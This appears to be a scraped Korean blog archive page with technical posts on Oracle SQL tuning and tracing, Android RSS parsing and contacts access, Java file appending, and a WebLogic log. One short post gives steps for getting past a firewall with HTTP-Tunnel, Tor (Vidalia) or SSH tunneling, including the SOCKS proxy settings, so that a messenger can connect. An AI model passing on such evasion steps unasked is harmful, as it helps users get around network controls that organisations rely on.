-index나 cluster를 적절히 활용한 sort의 대체(order by사용을 대체) 

-max처리 

-table은 access하지 않고 index만 사용하도록 유도 

-exists의 활용 

-rownum의 활용 (rownum- 1,2차 가공시 나오는 건수) 

-query를 이원화 하여 일부분씩 scan하도록 유도 

-stored function을 이용 

[예] 

여기서 첫 번째 문장에서는 index가 ymd만으로 이루어졌고, 두 번재 문장에서는 index가 ymd+item으로 이루어 졌다고 가정합니다. 

∘select * from product where ymd='951023' and item like 'ab%' order by ymd, item; 

→select * from product where ymd='951023' and item like 'ab%'; 

sort를대체하는 예 

∘select orddate, custno from orddate between '940101' and '941130' order by orddate desc; 

→select --+index_desc(a orddate) orddate, custno from order1t a where orddate between '940101' and '941130'; 

∘select orddate, custno from order1t where orddept like '7%' order by orddate desc; 

→select --+index_desc(a orddate) orddate, custno from order1t a where orddept like '7%' and orddate <='991231';


<index생성시 아무 옵션도 주지않을 경우 default로 ASC옵션이 적용되어 생성된다. 

따라서 DESC로 출력을 원할 경우 다음 두방법중 하나를 이용하면 된다. 

1. 뒤에서부터 검색하거나 

2. index create시 desc로 생성시켜줘야 속도 향상을 얻을 수 있다. 


 


 

max처리하는 예 (전자는 index(dept), 후자는 index(dept+seq)로 index생성 되어 있음) 

∘select max(seq)+1 from product where dept='12300'; 

→select /*+index_desc(a index1)*/ seq+1 from product a where dept='12300' and rownum=1; 


rownum이용 예 

∘select count(*) into:cnt from item_tab where dept='101' and seq>100 ...... 

→select 1 into:cnt from item_tabl where dept='101' and seq>100 and rownum=1... 

1:M join의 부분범위 유도 예 

∘select x.cust_no, x.addr, x.name, ....... from cust x, reqt y where x.cust_no=y.cust_no and x.cust_stat in ('a', 'c', 'f') and y.un_pay >0 group by x.cust_no having sum(y.un_pay) between :val1 and :val2; 

→select cust_no, addr, un_pay, .... from (select cust_no, addr, unpay_sum(cust_no) as un_pay, ......... from cust where cust_stat in ('a', 'c', 'f')) where un_pay between :val1 and :val2;



Ⅴ. 조인 메커니즘의 이해 

조인의 경우 사용히 매우 신중을 기해야 하는 것중의 하나입니다. 특히 조인 컬럼이용되는 컬럼의 선정시 특히 많은 주위를 해야 optimizer의 실행 순서 선택시 우리가 원하는 수행능력을 보장 받을 수 있습니다. 그럼 조인시 수행속도에 영향을 끼치는 것들에 대해서 한가지씩 알아 보겠습니다.


<driving의 영향





<Join순서의 영향





 

<index의 영향 

양쪽에 index 
 한쪽에 index 
 
① 
 tab1 
 range scan 
 ③ 
 tab1 
 range scan 
 
tab2 
 index scan 
 tab2 
 full scan 
 
② 
 tab1 
 range scan 
 ④ 
 tab1 
 full scan 
 
tab2 
 index scan 
 tab2 
 range scan 
 


①,②의 경우는 일량의 변화가 없다. 

③의 경우 n*m번 비교가 일어난다.(최악의 경우) 이런 경우 ④과 같이 변형하면 조금이나마 성능 향상에 도움이 된다. 

<Join시 유의사항 

-join되는 key column의 data type을갖게 한다. 

-join되는 key column을 index로 만들어 준다.(절대 변형되지 않도록한다.-변형시 full scan발생) 

-두 table간에 join이 맞지 않을 경우(한쪽에만 index가 있는 경우) driving table을 full scan table로 설정하는 것이 최악의 경우를 방지 할 수 있다. 

-두 index에 대한 분포도가 같은 경우 from절의 오른쪽에 있는 table을 driving으로 삼는다. 

-check조건이 되는 테이블의 범위는 넓을 수록 좋다.(사용자에게 테이블의 내용을 빨리 display 할 때 보다 빨리 전송단위 씩 보내줄수 있기 때문에) 

<join과 loop query의 속도 비교. 

-loop query가 빠른 경우 → 부분범위 처리가 발생 할 경우 

-부분범위 처리가 join과 loop query 둘다 발생하면 (전체가 부분범위 처리인 경우) → join이 빠르다. 

-전체 범위 처리가 발생한 이유가 모든 table에 있으면 → join이 빠르다. 

-연결되는 table중 하나를 부분범위로 바꿀수 있다면 → loop query가 빠르다. 

<Loop query? 

말 그대로 query를 loop로 돌려 특정 값을 다음 테이블내에서 찾는 방법입니다. 보통의 SQL문에서 사용하는 경우는 거의 없고 batch 혹은 pl_SQL 사용시 많이 이용됩니다. 


 



Ⅵ. Trace 

하하 이젠 분석도구라 불리는 놈들을 보겠습니다. 어디가 잘못 됐는지 알아야 고칠거 아닙니까? 따라서 가장 중요하다고 생각합니다. 그런데 어렵더군요. 저 역시 교육 받을 때 이 부분에서 거의 헤맸습니다. ^^;; 여러분은 그러시지 않기를 빕니다.  

<SQL Trace? 

SQL문을 튜닝하기 위해서는 현제의 SQL문이 어떻게 수행되는 가를 정확하게 파악해야 할 필요가 있습니다. 그럼 간단하게 Trace의 사용 목적에 대해서 알아보죠. 

< Trace 파일은 시스템을 튜닝하는데 필요한 아주 유요한 정보(cpu Time, 총수행시간, I/O횟수 등등 아래 자세히 설명)를 제공한다.  

< SQL문의 실행통계를 Session별로 모아서 Trace 파일을 만든다. 

   - SQL Parsing, Execute, Fetch를 수행한 횟수 

   - CPU Time, Elapsed Time(총 경과시간) 

   - Disk(물리적), Memory(논리적) I/O 수행한 횟수 

   - 추출된 Row의 수 

   - 라이브러리 캐쉬 miss 수 

   - Parse Count 

그럼 trace를 한번 만들어 보자구요. 물론 슆지는 않습니다. 또한 Trace를 생성하는 동안 시스템 전체적인 수행성능은 20%~30% 정도 감소합니다. 따라서 운영중인 DB의 경우에는 되도록 사용을 금하기소 되도록 개발용 장비에서 실행하기기 바랍니다. 

먼저 SQL_TRACE를 생성하려면 다음과 같은 파라미터들을 INIT.ORA에 지정해야합니다. 

- CREATE INDEX문에서 NOSORT Option의 사용 

- TIMED_STATISTICS=TRUE → 시간 통계를 모을 수 있게 한다. 

- SQL_TRACE=TRUE → Session을 종료하는 모든 사용자들의 Trace를 수행한다. 

- USER_DUMP_DEST=directory path → SQL_TRACE가 Trace 파일을 저장하는 디렉토리를 지정한다. default는 시스템 덤프(dump) 디레토리이다.(예; oracle_home/rdbms/log) 

-MAX_DUMP_SIZE=number → Trace 파일의 물리적인 크기를 바이트 단위로 지정할 수 있게 한다. 

[주의] SQL_TRACE는 공간이 부족하면, 완전한 출력이 되지 않습니다. 따라서 디스크 공간을 확보하신후 실행 시키싶시오, 아울러 주기적으로 필요 없는 파일들은 삭제해 주어야 합니다. 

[예]  

timed_statistics = true          # if you want timed statistics 

user_dump_dest = /oracle8/app/oracle/product/8.0.3/rdbms/log 

max_dump_file_size = 10240       # limit trace file size to 5 Meg each 

-SQL*Plus에서는 다음과 같이 세션을 초기화시켜야 합니다. 

SQL>alter session set sql_trace=true; 

-optimizer goal의 변경은 다음과 같습니다. 

SQL>alter session set optimizer_goal=rule;(optimizer goal을 정의) 

-RDBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION Produce사용 

SQL>execute RDBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION(11,6,TRUE) 

여기서 11은 sid, 6은 Serial number(둘다 v$session에서 확인), TRUE는 Trace enable입니다. 

이렇게 설정해 두면 실행되는 질의문에 대해서 트레이스 파일이 생성된다. 생성되는 위치는 initSID.ora에서 정의한 user_dump_dest 디렉토리에 *.trc형태로 생성됩니다. 

그럼 이제 Trace 파일을 보기만 하면 됩니다. 그러나 생성된 트레이스 파일은(*.trc) 바로 볼 수 없습니다. 시험삼아 한번 vi에디터로 열고 보셔도 물론 됩니다. 그러나 수많은 문자들 가운데서 우리가 원하는 정보를 찾기란 너무 어렵습니다. 그래서 tkprof라는 유틸리티를 사용하여 생성된 트레이스 파일을 분석이 가능한 형식으로 전환해줘야 합니다. 물론 기본적으로 오라클에서 제공하는 유틸리티입니다.

이것은 이미 생성된 트레이스 파일이나 트레이스 파일을 생성하고 있는 중에도 tkprof를 수행시킬 수 있습니다. 트레이스 파일은 SQL문에 대한 실행계획뿐만 아니라 실행시간, 다양한 옵션을 이용하여 분석하기 쉬운 형태 등의 정보를 보여줍니다.

그럼 tkprof란 놈은 어떻게 실행 시킬까요? 

Usage: tkprof tracefile outputfile [explain=user/passwd] [table=schema.tablename] 

            [print=integer] [insert=filename] [sys=yes/no] [sort=option] 

 tracefile : 생성된 트레이스 파일명 

 outputfile : tkprof가 출력하는 텍스트 파일명(디폴트로 확장자가 .prf임) 

 explain=user/passwd : 해당 트레이스 파일이 수행된 세션의 사용자 및 패스워드 

 table=schema.tablename : 실행계획(execution plan)을 저장할 TKPROF 임시 테이블의 이름 

 print=integer : 트레이스 파일별로 출력시킬 SQL문의 수 

 aggregate=yes|no 

 insert=filename : List SQL statements and data inside INSERT statements. 

 sys=yes/no : TKPROF does not list SQL statements run as user SYS. 

 record=filename : Record non-recursive statements found in the trace file. 

 sort=option : Set of zero or more of the following sort options: 

 < sort option의 종류 > 

    prscnt number of times parse was called 

    prscpu cpu time parsing 

    prsela elapsed time parsing 

    prsdsk number of disk reads during parse 

    prsqry number of buffers for consistent read during parse 

    prscu  number of buffers for current read during parse 

    prsmis number of misses in library cache during parse 

    execnt number of execute was called 

    execpu cpu time spent executing 

    exeela elapsed time executing 

    exedsk number of disk reads during execute 

    exeqry number of buffers for consistent read during execute 

    execu  number of buffers for current read during execute 

    exerow number of rows processed during execute 

    exemis number of library cache misses during execute 

    fchcnt number of times fetch was called 

    fchcpu cpu time spent fetching 

    fchela elapsed time fetching 

    fchdsk number of disk reads during fetch 

    fchqry number of buffers for consistent read during fetch 

    fchcu  number of buffers for current read during fetch 

    fchrow number of rows fetched 

    userid userid of user that parsed the cursor 

여기서 SQL문을 실행하는데 걸린 CPU시간을 보여주는 EXECPU가 가장 실용적이다. 만약 init.ora 파라미터를 TIMED_STATISTICS=FALSE로 지정했을 때는 수행 중에 액세스된 블록 수를 보여주는 EXEQRY가 가장 실용적이다. 

[예] tkprof ccdb_ora_1124.trc 1124.txt explain=scott/tiger 

그럼 이제 우리가 눈으로 보기에 꽤 괜찮은 파일이 만들어 집니다.  

- tkprof는 정형화된 리스트(출력파일)를 생성합니다..

- 생성된 파일에는 다음과 같은 내용들을 포함하고 있습니다.

call 
 count 
 cpu 
 elapsed 
 disk 
 query 
 current 
 rows 
 
Parse 
 1 
 0.01 
 0.01 
 0 
 0 
 0 
 0 
 
Execute 
 1 
 0.00 
 0.00 
 0 
 0 
 0 
 0 
 
Fetch 
 1 
 0.00 
 0.02 
 2 
 3 
 0 
 1 
 
total 
 3 
 0.01 
 0.03 
 2 
 3 
 0 
 1 
 

보기 좋게 표로 만들었습니다만 실제론 이렇게 출력되진 않습니다. 그럼 하나 하나 살펴 보지요. 

- parse 

·SQL문이 파싱되는 단계에 대한 통계이다. 새로 파싱을 했거나, 공유 풀에서 찾아 온 것도 포함된다. 

·단, PL/SQL 내에서 반복 수행(Loop)된 SQL이나 PRO*SQL에서 보존커서(Hold cursor)를 지정한 경우에는 한번만 파싱된다. 

- execute 

·SQL문의 실행 단계에 대한 통계이다. UPDATE, INSERT, DELETE 문들은 여기에 수행한 결과가 나타난다. 

· 전체범위 방식으로 처리된 결과가 여러 건인 경우는 주로 여기에 많은 값이 나타나며 fetch에는 아주 적은 값이 나타난다. 

- fetch 

·SQL문이 실해되면서 페치된 통계이다.  

· 부분범위 방식으로 처리된 SELECT문들이나 전체범위 처리를 한 후 한 건을 추출하는 경우(AGGREGATE, 전체집계, Count 등)는 주로 여기에 많은 값들이 나타나고 execute에는 아주 적은 값이 나타난다. 

- count 

·SQL문이 파싱된 횟수, 실행된 횟수, 페치가 수행된 횟수이다.  

- cpu 

·pares, execute, fetch가 실제로 사용한 CPU 시간이다.(1/100초 단위)  

- elapsed 

·작업의 시작에서 종료시까지 실제 소요된 총 시간이다.  

- disk 

·디스크에서 읽혀진 데이타 블록의 수  

- query 

·메모리 내에서 변경되지 않은 블록을 읽거나 다른 세션에 의해 변경 되었으나 아직 Commit되지 않아 복사해 둔 스냅샷 블록을 읽은 블록의 수이다.  

·SELECT문에서는 거의가 여기에 해당하며 UPDATE, DELETE, INSERT 시에는 소량만 발생한다.  

- current 

·현 세션에서 작업한 내용을 Commit하지 않아 오로지 자신에게만 유효한 블록(Dirty Block)을 액섹스한 블록 수이다. 

· 주로 UPDATE, INSERT, DELETE 작업시 많이 발생한다. SELECT 문에서는 거의 없으나 아주 적은 양인 경우가 대부분이다. 

- rows 

·SQL문을 수행한 결과에 의해 최종적으로 액세스된 로우의 수이다. 

·서브쿼리에 의해서 추출된 로우는 제외된다. 

·만약 SUM, AVG, MAX, MIN, COUNT 등의 그룹함수를 사용한 경우라면 큰 의미가 없다. 


☞분석결과의 예  

- execute, fetch의 횟수가 동일하다는 것은 SQL 수행시마다 기본키에 의해 한건씩만 처리되고 있다는 것을 의미한다. 만약 pares가 1인데 execurte와 fetch가 100이라면 루프가 100번 수행되면서(어프리케인션은 한번만 수행되고 SQL은 루프 내에서 반복수행되었다. 왜냐하면, 어플리케이션이 여러번 실행되었다면 비록 SQL이 실제 파싱하지 않고 Shared SQL Area에서 찾아 왔다고 해도 parse의 횟수는 증가되기 때문이다) 보관커서 상태의 SQL이 한 건씩을 추출한 상태이다. 이 경우의 SQL문은 'SELECT ... INTO ...'형식으로 사용되었을 것이다.  

- parse가 1이고 execute가 1이며, fetch가 100이라면 SQL은 단 한번 수행되었고(루프 내에서 수행되지 않았음) 페치만 연속해서 100번을 수행한 것이다. 이 경우의 SQL문은 대개 'DECLARE CURSOR'로 선언한 SQL이 'FETCH ... INTO ...'에 의해 SQLCODE가 '1403'(Date Not Found)일 때까지 수행되었거나 부분범위 처리에 의해 일정 양만큼만 수행하고 멈추었을 때이다. 

- parse : execute : fetch의 비율은 공통 작업이 여러번 수행되면 그 배수로 나타난다. 예를 들면 parse : execute : fetch가 10 : 10 : 1000인 경우는 1 : 1 : 100인 작업이 10번 수행되었다는 것을 의미한다. 

- fetch가 10인데 rows가 100이라면 운반단위가 10인 다중처리(Array Processing)를 사용하여 한번 페치마다 10건의 로우가 추출되었음을 의미한다. 

- 트레이스의 중간부분에 'Misses im library cache during parse : 1'이라는 문장이 있다. 이것은 공유 SQL 영역에서 파상된 결과를 찾지 못하여 실제 파싱작업을 하게 되었다는 것을 의미한다. 

- 최종적으로 추출된 로우의 수는 적으나 많은 CPU 시간이 소요되었다면 이것은 분명히 적절한 액세스 경로로 수해되지 않았음을 의미한다. 

- CPU 시간과 ELAPSED 시간의 차이는 적을수록 좋다. 만약 CPU시간에 비해 ELAPSED 시간이 훨씬 많다면, 그 원인은 다음 중 하나일 가능성이 높다. 즉 주변의 다른 세션에서 많은 부하를 발생시켜 시스템 전체에 부하가 많이 걸려있는 경우나 혹은 어플리케이션의 문제이거나 다량의 데이타 처리에 따른 I/O 병목현상이 발생한 경우 

- disk, query, current의 숫자는 적을수록 좋다. 이 숫자들이 커다는 것은 메모리 공유영역의 적중률(Hit Ratio)이 낮다는 것을 의미한다. 

- Overall totals For All Statements에서 적중률 계산은 다음과 같다. 

 (Execute 'disk' + Fetch 'Disk')/(Execute 'query' + Execute 'current' + Fetch 'query' + Fetch 'Current') * 100 

 이 값이 10%이상이라면 메모리 캐쉬에서 데이타를 찾는 비율(적중률)이 너무 낮은 것이다. 

- 다음은 아주 빠른 응답이 요구되는 온라인 프로세싱 시스템의 경우에서만 적용되는 규칙들이다. 

 모든 Execute 'CPU'가 1초보다 적어야 한다. 

 Parse 'CPU' 시간이 Parse당 0.01초보다 적어야 한다. 

 작은 테이블(200로우 이하)에서만 전체 테이블 스캔이 일어나게 한다. 

 sysdate만 찾아오거나, 오직 연산만 하거나, 'SELECT ... INTO ...'로 값을 복사하는 경우를 위해서 DUAL 테이블들을 불필요하게 사용하는 것은 모두 없앤다. 

 동시에 작업되는 SQL들은 가능한 PL/SQL을 사용한다. 

 조인시에 옵티마이져가 적절한 드라이빙 테이블을 선택하는지를 확인하거나, 여러개의 조건들 중에서 주(드라이빙)가 되는 조건들과 부(체크)가 되는 조건들을 확인한다. 또한 적적한 인덱스가 사용될 수 있는지를 확인하여 주조건의 처리범위가 넓지 않도록 항상 유의한다. 



Ⅶ. Analyze 

이 명령어는 Cost-Based방식에 사용할 통계 데이터를 모아 줍니다.

Function 
 설   명 
 
통계데이터 수집 
 table, Cluster, index 등에 관련된 자료들을 모아 Cost-Based Optimizer에 사용한다. 
 
데이터 무결성확인 
 table, cluster, index등의 무결성 작업을 한다. 
 
Chained-row통계 
 table, cluster에 있는 데이터 체인행(Chained row)에 대한 통계 자료 수집 
 


다음으로 문법을 보죠. 문법은 아래와 같습니다.

ANALYZE object-name operation STATISTICS 

-object → TABLE, INDEX, CLUSTER 중에서 해당되는 오브젝트 종류 

-name → 오브젝트의 이름 

-operation  

· COMPUTE : 각각의 값들을 정확하게 계산 따라서 옵션은 가장 정확한 통계를 얻을 수가 있지만 가장 처리속도가 느린 단점이 있습니다. 

·ESTIMATE : 자료사전의 값과 데이타 견본을 갖고 검사해서 통계를 예상 이 방법은 덜 정확한 정보를 주지만 훨씬 처리속도가 빠릅니다. 

·DELETE : 테이블의 모든 통계정보를 삭제


Analyyze와 관련된 데이터 사전 뷰를 정리 했습니다. 

USER_INDEXS, ALL_INDEXS, DBA_INDEXS 

USER_TABLES, ALL_TABLES, DBA_TABLES 

USER_TAB_COLUMNS, ALL_TAB_COLUMNS, DBA_TAB_COLUMNS 





출처 : http://skyforce.egloos.com/1844944

Posted by 1010
02.Oracle/DataBase2010. 6. 16. 10:30
반응형
아주아주 어려운 난관에 부딪쳤다!
쿼리문을 만드는데 세로열로 된 컬럼값을 가로열로 모두 만들어야 한다는 아주 슬픈...
그래서 어떻게 하나... 부족한 실력 자책하며 이곳저곳을 떠돌고 열심히 구글링도 해보고
그래도 답이 없더라. 이런걸 보고 묵묵부답이라는 말을 사용하기도 하지...
하지만 의지의 한국인이라 하지 않던가... ㅋㅋ

여러가지 방안을 모두 사용해봤고 오라클 9i이상에서만 제공된다는 SYS_CONNECT_BY_PATH 도 써 봤고...
그래도 답이 나오지 않았으나 태권브이가 날 살렸다.
아래는 블로그의 내용을 살짝 카피해 온것이다....
글을 올리신 당사자께는 죄송^^

select  gbn,
          substr(xmlagg(xmlelement(a,',' || val) order by val).extract('//text()'), 2) val
  from test
group by gbn  
http://blog.naver.com/hyelee96/140073401311
Posted by 1010
04.Anddoid2010. 6. 15. 09:35
반응형

1. Data Feed / RSS 예제

요즘 많은 종류의 데이터를 인터넷에서 공짜로 받을수있습니다. 이는 일반적으로 RSS 를 통해서 이루어지는데 여기서 데이터를 뽑아내는 핵심은 URL 을 던진후 돌아오는 문자의 스트림을 어떻게 XML parse 할수있느냐에 달려있습니다. 이 XML parser 는 몇가지가 있는데 여기에서는 org.xml.sax 에 있는 parser 를 이용해 봅니다.

1. 일단 이런 인터넷상에서 데이터를 가져오는 작업은 시간이 좀 걸리기에 이 예제에서는 ProgressDialog 를 무조건 화면에 뿌렸습니다.
2. 이후 데이타가 도착하고 parsing 이 끝나 화면에 뿌릴준비가되면 ProgressDialog 를 걷어내라는 신호를 Handler 에 보내고
3. Handler 는 이를 받아 ProgressDialog 를 없애고 화면을 뿌립니다.

private final Handler handler = new Handler() {
	@Override
	public void handleMessage(final Message msg) {

		progressDialog.dismiss();
		tv_nodata = (TextView) findViewById(R.id.tv_nodata);
		if ((mChannelItems == null) || (mChannelItems.size() == 0)) {
			tv_nodata.setText("No Data");
		}
		else {
			tv_nodata.setText(mURL);
			listview = (ListView) findViewById(R.id.listview01);

			ChannelBaseAdapter cba = 
			new ChannelBaseAdapter(RSSTester1.this,
			R.layout.channel_view_detail,
			mChannelItems);
			listview.setAdapter(cba);
			listview.setOnItemClickListener(new OnItemClickListener() {
				public void onItemClick(AdapterView parent, View v, int position, long id) {


				}
			});

		}
	}
};

/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	
	setContentView(R.layout.channel_view);

	progressDialog = ProgressDialog.show(this, " Working...", " Retrieving RSS feed", true, false);
	new Thread() {
		@Override
		public void run() {
			//mURL = "http://feeds.feedburner.com/usccb/zHqS";
			//mURL = "http://www.thetechtrader.com/rss/closing_commentary.rss";
			mURL = "http://blogs.wsj.com/marketbeat/feed/";
			getData(mURL);
			handler.sendEmptyMessage(0);
		}
	}.start();
}

public void getData(String urlString) {
	try {
		URL url = new URL(urlString);
		SAXParserFactory factory = SAXParserFactory.newInstance();
		SAXParser parser = factory.newSAXParser();
		XMLReader xmlreader = parser.getXMLReader();
		ChannelHandler theRssHandler = new ChannelHandler();
		xmlreader.setContentHandler(theRssHandler);
		InputSource is = new InputSource(url.openStream());
		is.setEncoding("ISO-8859-1");	// just for WSJ.
		xmlreader.parse(is);
		mChannelItems = theRssHandler.getChannelItems();
	}
	catch (Exception e) {
		e.printStackTrace();
	}
}

.
여기서 getData 를 주시해서 보기바랍니다.
이 부분이 밖의 인터넷에서 데이터를 요구하고 받아오는 부분입니다.
xmlreader.parse(is) 에 의해 parse 가 된 데이터는 ChannelHandler 로 보내집니다. 이 내부에서 저는 필요한 데이터만 뽑아내게 됩니다. ChannelHandler 는 DefaultHandler 를 상속받아만드는데, 이안에는 중요한 5개의 메소드가 있습니다.
1. startDocument
2. startElement
3. endElement
4. endDocument
5. characters
.
startDocument 는 들어오는 XML 의 시작입니다. 그러면 끝은 endDocument 이겠죠.
startElement 는 XML tag 의 시작입니다. 끝은 endElement 가 될겁니다.
character 는 문자 스트립을 받을수있는곳입니다.
.
startELement 에서 만약 title 이라는 tag 가 보이면 isTitle 를 true 로 셋합니다.
character 에서는 isTitle 이 true 인동안은 문자를 받아 mChannelItem.title 에 저장합니다.
endElement 에서 현재의 tag 가 title 인데 isTitle 이 true 라면 당연히 isTitle 을 false 로 만들어 character 가 Title쪽 문자를 받는일을 더이상하지 않도록 합니다.
.이와같은 일을 다른 tag 에 대해서도하면 원하는 tag 의 내용을 다받을수있습니다. 여기서는 간단히 title 과 날짜, link 정보만을 받아 화면에 뿌렸습니다.
.
그럼 이 다섯가지 메소드를 감상해보시죠.

@Override
public void startDocument() throws SAXException {
}

@Override
public void startElement(final String namespaceURI, final String localName, final String qName,
final Attributes atts) throws SAXException {
	if (localName.equals(ITEM)) {
		inItem = true;
		mChannelItem = new ChannelData();
	}
	if (inItem) {
		if (localName.equals(TITLE)) 			inTitle = true;
		else if (localName.equals(LINK)) 		inLink = true;
		else if (localName.equals(PUBDATE)) 	inPubDate = true;
		//else if (localName.equals(DESC)) 		inDesc = true;
		else if (localName.equals(LINK2)) 		inLink2 = true;
		else if (localName.equals(DURATION))	inDuration = true;
	}
}



@Override
public void endDocument() throws SAXException {
}

@Override
public void endElement(final String namespaceURI, final String localName, final String qName) throws SAXException {
	if (localName.equals(ITEM)) {
		inItem = false;
		mChannelItems.add(mChannelItem);
	}

	if (inItem) {
		if (localName.equals(TITLE)) 			inTitle = false;
		else if (localName.equals(LINK)) 		inLink = false;
		else if (localName.equals(PUBDATE)) 	inPubDate = false;
		else if (localName.equals(LINK2)) 		inLink2 = false;
		else if (localName.equals(DURATION))	inDuration = false;
	}
}

@Override
public void characters(final char ch[], final int start, final int length) {
	String chString = "";
	if (ch != null) {
		chString = new String(ch, start, length);
	}

	if (inTitle) {
		mChannelItem.title = chString;
	}
	
	if (inLink) {
		mChannelItem.link = chString;
	}

	if (inPubDate) {
		// hack to replace "UT" with GMT (UT won't parse)
		if (chString.contains("UT")) {
			chString = chString.replace("UT", "GMT");
		}
		mChannelItem.pubDate2 = chString;

		// try to handle the various date formats
		Date pubDate = null;
		try {
			pubDate = ChannelHandler.DATE_FORMAT_A.parse(chString);
		}
		catch (ParseException e) {
			// swallow
		}
		
		if (pubDate == null) {
			try {
				pubDate = ChannelHandler.DATE_FORMAT_B.parse(chString);
			}
			catch (ParseException e) {
				// swallow
			}
		}
		mChannelItem.pubDate1 = pubDate;
	}

	if (inLink2) {
		mChannelItem.link2 = chString;
	}
	
	if (inDuration) {
		mChannelItem.duration = chString;
	}

출처 : http://rsequence.com/android_blog/node/125
Posted by 1010
01.JAVA/Java2010. 6. 11. 17:25
반응형
자바에서 파일 쓰기 할 때
          BufferedWriter file = new BufferedWriter(new FileWriter("filename"));
대개의 경우 이런식으로 코딩을 했었는데, 이 코드는 파일을 덮어쓴다.
파일을 덮어쓰지 않고 이어쓰기하는 방법이 없을까 하고 고민하고 찾아봤다.
RandomAccessFile 클래스를 사용하는 방법도 있었고
그리고 파일을 쭉 읽어서 변수에 저장을 한 뒤 새로 추가할 내용을 덧붙여서 파일에 쓰는 방법도 있었다.
하지만 뭔가 더 간편한게 있을 것 같아서 찾아봤더니
이 한문장이면 파일 이어쓰기가 가능하다.

        BufferedWriter file = new BufferedWriter(new FileWriter("filename", true));

이 코드는 파일이 없으면 새로 만들고 있다면 덮어쓰지 않고 이어서 쓰게한다.

그리고 파일에서 개행문자를 쓰려고할 때
C나 C++에서처럼 당연히 ""이 먹힐거라 생각을 하고
          str = str + "";
          file.write(str, 0, str.length());
이렇게 썼는데 파일에는 줄바꿈이 되어있지 않았다.
알아본 결과 저 위에서 사용한 FileWriter가 가독성때문에 ""을 지원하지 않기 때문이었다.
BufferedWriter를 통해서 개행문자를 쓸 수 있다.
바로 이렇게..

        file.write(str, 0, str.length());
        file.newLine();

간단하다. 하하하;;;
이 사실을 난... 어제 알았다. 쿨럭 -_-;;;
까먹을까봐...
 
-------------------------------

기존파일에 덧붙여서 내용을 저장하려면, RandomAccessFile 클래스를 사용해야 합니다.

아래는 간단한 예제 입니다.

출처 : http://finetia.egloos.com/1422965

—————————————————————————
import java.io.IOException;
import java.io.RandomAccessFile;

public class UsingFile {
  public UsingFile() {
  }

  public static void main(String[] args) {
    try {
      String name = “c:\\tmpfile.txt”;
      RandomAccessFile raf = new RandomAccessFile(name, “rw”);
      raf.seek(raf.length());
      raf.writeBytes(“\r\n append”);
    }
    catch (IOException e) {
      System.out.println(“Error opening file: ” + e);
    }
  }
}


출처 : http://rothmans.wordpress.com/2006/07/12/%EC%86%8C%EC%8A%A4%ED%8C%8C%EC%9D%BC-%EC%9D%B4%EC%96%B4-%EC%93%B0%EA%B8%B0/

Posted by 1010
90.개발관련문서2010. 6. 10. 10:43
반응형
프록시 서버 사용을 통한 방화벽 우회

1. HTTP-Tunnel ( http://www.http-tunnel.com/ ) - 먼저 대화하기 가능, 친구파일방 접속 가능
설치 후 실행 후
Use Free Service - Configure - Test - OK
네이트온 설정 - 환경 설정 - 연결(방화벽) - 프록시 서버 사용
종류 SOCKS 버전 4
서버 localhost 포트 1080
P2P 연결 포트 1080
한번 더 Configure - Test - OK

2. Vidalia ( http://www.vidalia-project.net/download.php )
설치 후 실행 후 접속 후
네이트온 설정 - 환경 설정 - 연결(방화벽) - 프록시 서버 사용
종류 SOCKS 버전 4
서버 localhost 포트 9050

3. SSH Tunneling
검색하면 많이 나온다.
Posted by 1010
04.Anddoid2010. 5. 17. 13:23
반응형
출처 : http://www.kandroid.org/board/board.php?board=sourcecode&command=body&no=18

안녕하세요. 왕초보 신입생 사로자바입니다.
마소 잡지를 토대로 공부하고 있는데 SDK 1.0 에서 바뀐 부분이 좀 있어서...
내공이 부족한 저로서는 잘 나가다가 진도가 꽉 막힌답니다.
  
 
전화번호부 목록 불러오는 코드입니다.
마소 잡지랑 바뀐부분 비교해보면서 보셔도 좋을것 같네요.
제가 이해한대로 주석을 달아봤어요... 제대로 달았는지 의심이;;
 

public class HelloAndroid extends Activity {
	private static final String TAG = "HelloAndroid";
	
	/** Called when the activity is first created. */
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		
		// 레이아웃 설정		
		LinearLayout layout = new LinearLayout(this);
		layout.setOrientation(LinearLayout.VERTICAL);
		
		// 주소록 URI		
		Uri people = Contacts.People.CONTENT_URI;
		// 검색할 컬럼 정하기
		String[] projection = new String[] {
				Contacts.People._ID,
				Contacts.People.NAME,
				Contacts.People.NUMBER
		};
		
		// 쿼리 날려서 커서 얻기
		Cursor cursor = managedQuery(people, projection, null, null, null);
		if(cursor.moveToFirst()) {
			// 컬럼명으로 컬럼 인덱스 찾기 
			int idIndex = cursor.getColumnIndex("_id");
			int nameIndex = cursor.getColumnIndex(Contacts.PeopleColumns.NAME);
			int numberIndex = cursor.getColumnIndex("number");
			
			do {
				// 요소값 얻기
				int id = cursor.getInt(idIndex);
				String name = cursor.getString(nameIndex);
				String number = cursor.getString(numberIndex);
				
				// 레이블에 기록			
				TextView tv = new TextView(this);
				tv.setText("id=" + id + ", name=" + name + ", number=" + number);				
				layout.addView(tv);
				
				// LogCat에 로그 남기기
				Log.i(TAG, "id=" + id + ", name=" + name + ", number=" + number);
			} while(cursor.moveToNext());
		}
		
		// 컨텐트에 뷰 등록
		setContentView(layout);
	}
}
 
참고로 AndroidManifest.xml 파일에는 전화번호부를 읽을 수 있는 권한을 줘야 하네요...
<uses-permission android:name="android.permission.READ_CONTACTS" />
 
그럼 모두들 열공합시다~
Posted by 1010
01.JAVA/Java2010. 5. 13. 09:14
반응형

가끔 svchost.exe 프로세스가 죽으면서 네트워크에 접근이 되지 않을 때는 서비스에서 'Computer Browser' 서비스를 시작하거나 재시작 하면 다시 접근 가능하다. 'Computer Browser' 서비스 외에도 'Workstation' 과 'Server' 서비스가 시작되어야 하나 의존성에 의해서 자동으로 시작된다.

(Windows XP, Windows 2003)

Posted by 1010
01.JAVA/Java2010. 5. 11. 17:43
반응형

####<May 11, 2010 5:26:55 PM KST> <Warning> <HTTP> <kpocws1> <GKA_PA1> <ExecuteThread: '98' for queue: 'weblogic.kernel.Default'> <<anonymous>> <> <BEA-101324> <Some Browsers may fail when both "Content-Disposition" and "Cache-Control" are set.>
####<May 11, 2010 5:31:02 PM KST> <Error> <HTTP> <kpocws1> <GKA_PA1> <ExecuteThread: '98' for queue: 'weblogic.kernel.Default'> <<WLS Kernel>> <> <BEA-101017> <[ServletContext(id=31656334,name=webapp,context-path=)] Root cause of ServletException.
java.net.SocketException: Broken pipe

